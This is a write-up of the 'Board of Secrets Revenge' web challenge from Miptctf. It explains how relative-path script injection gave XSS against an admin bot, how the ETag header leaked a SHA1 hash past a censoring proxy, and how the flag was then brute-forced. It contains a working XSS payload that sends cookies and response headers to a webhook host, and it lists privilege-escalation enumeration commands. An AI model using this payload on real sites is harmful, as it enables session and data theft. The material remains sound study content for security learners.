Board of Secrets Revenge
Board of Secrets Revenge
Platform: Miptctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-14 | Status: Solved Techniques: etag_hash_leak, proxy_censorship_bypass, relative_path_script_injection, response_header_exfiltration, sha1_bruteforce
Summary
Task: Web app with admin bot where /api/secret is censored by proxy. Solution: Used relative path script injection for XSS, extracted ETag header containing SHA1 hash of original response, brute-forced the flag from the hash.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
miptctf| ID:20260314_miptctf_board_of_secrets_revenge - Tags: sha1, file_upload, xss, nginx, express, admin_bot, headless_chrome, aiohttp, proxy_bypass, etag, relative_path_injection
- Indicators: proxy replaces response body but preserves headers, Express ETag format visible, relative script src in HTML, admin bot visiting user-controlled URLs, file upload with custom filename
- Source:
20260314_miptctf_board_of_secrets_revenge.md
Foothold
Vulnerability / Misconfiguration
- Etag_hash_leak
- Proxy_censorship_bypass
- Relative_path_script_injection
- Response_header_exfiltration
- Sha1_bruteforce
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- etag_hash_leak
- proxy_censorship_bypass
- relative_path_script_injection
- response_header_exfiltration
- sha1_bruteforce
- Tags: sha1, file_upload, xss, nginx, express, admin_bot, headless_chrome, aiohttp, proxy_bypass, etag, relative_path_injection
Original Writeup
<details><summary>Click to expand original content</summary>Description
A web application "Board of Secrets" task board with an admin bot. The flag is at /api/secret but a proxy (aiohttp) censors the response body. Users can register, create tasks with file attachments (.txt), and report URLs to admin.
Architecture:
- nginx (port 55208) → aiohttp (proxy with censorship) → Express (backend)
- Admin bot: HeadlessChrome visiting reported URLs at
http://127.0.0.1:8080/
Analysis
Reconnaissance
- Endpoints:
/login,/register,/task/new,/report,/stats,/api/secret /api/secretreturns "Admin access only" (403) for non-admin users- For admin,
/api/secretreturns the flag, but aiohttp proxy replaces body with[proxy_request_body_censored] no no no mister fish! - The
/statspage loads<script src="script.js">with a relative path
XSS Vector Discovery
When admin visits /task/N/stats, the browser resolves relative script.js to /task/N/script.js. By uploading a file named script.js as an attachment to task N, we control what JavaScript the admin executes.
Proxy Censorship Analysis
Tried many bypass techniques — all failed:
- Path manipulation:
/API/SECRET,/api/./secret, URL encoding — censored or 404 - Different HTTP methods: HEAD, OPTIONS, PUT, PATCH, DELETE
- Range headers:
bytes=0-0— proxy censors BEFORE range is applied - Accept-Encoding variations, Cache-Control: no-transform — censored
- X-Original-URL, X-Rewrite-URL headers — no effect
Key Discovery: ETag Leak
Extracted response headers from admin's fetch of /api/secret:
etag: "d-rB8Hg70QIr4oY3nNsO5DbH96ZWQ"
content-length: 51 (censored message length)
x-secret-response: 1
The ETag format is Express's default: "<hex_size>-<base64_sha1_prefix>"
din hex = 13 bytes — the ORIGINAL response size (not 51-byte censored message)rB8Hg70QIr4oY3nNsO5DbH96ZWQ= first 27 chars of base64-encoded SHA1 of original body- The proxy replaces the body but does NOT modify the ETag header!
Verification
- Without auth: ETag is
"11-LlTdEs/nsIlOsY6aryMCpDwrS88"where0x11= 17 bytes =len("Admin access only") - Verified:
SHA1("Admin access only").base64[:27]=LlTdEs/nsIlOsY6aryMCpDwrS88✓ - Admin's ETag:
"d-rB8Hg70QIr4oY3nNsO5DbH96ZWQ"where0xd= 13 bytes =len("MIPT{xxxxxxx}")
Solution
Step 1: XSS via Relative Path Script Injection
Created a task with malicious script.js attachment:
(async () => {
const WH = 'https://webhook.site/WEBHOOK_ID';
const results = {};
results.cookies = document.cookie;
const r = await fetch('/api/secret', { method: 'HEAD' });
const h = {};
r.headers.forEach((v, k) => h[k] = v);
results.head = h;
const r2 = await fetch('/api/secret');
results.body = await r2.text();
await fetch(WH, { method: 'POST', body: JSON.stringify(results) });
})();
Reported http://127.0.0.1:8080/task/N/stats to the admin bot.
Step 2: Extract ETag from Response Headers
Admin bot executed our JS, fetched /api/secret, and sent headers to webhook:
- ETag:
"d-rB8Hg70QIr4oY3nNsO5DbH96ZWQ" - Body was censored but ETag preserved original hash
Step 3: Brute-Force SHA1 from ETag
Flag format: MIPT{xxxxxxx} (13 bytes total, 7 hex characters inside braces)
Search space: 16^7 = 268,435,456 candidates
const crypto = require('crypto');
const targetHash = 'rB8Hg70QIr4oY3nNsO5DbH96ZWQ';
for (let i = 0; i < 0x10000000; i++) {
const flag = 'MIPT{' + i.toString(16).padStart(7, '0') + '}';
const hash = crypto.createHash('sha1').update(flag).digest('base64').substring(0, 27);
if (hash === targetHash) {
console.log('FOUND FLAG:', flag);
break;
}
}
Found match at MIPT{REDACTED} after ~170M iterations.
Additional Findings
- Admin's non-HttpOnly cookie:
session=SECRET_KEY{f12d805c6a88179ae70bce68c317b982}(Express signing key, but couldn't forge admin token) - The
tokencookie (actual auth) is HttpOnly and couldn't be read via JS - The proxy censors both GET query parameters (base64-encoded data) and POST bodies going to external sites
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR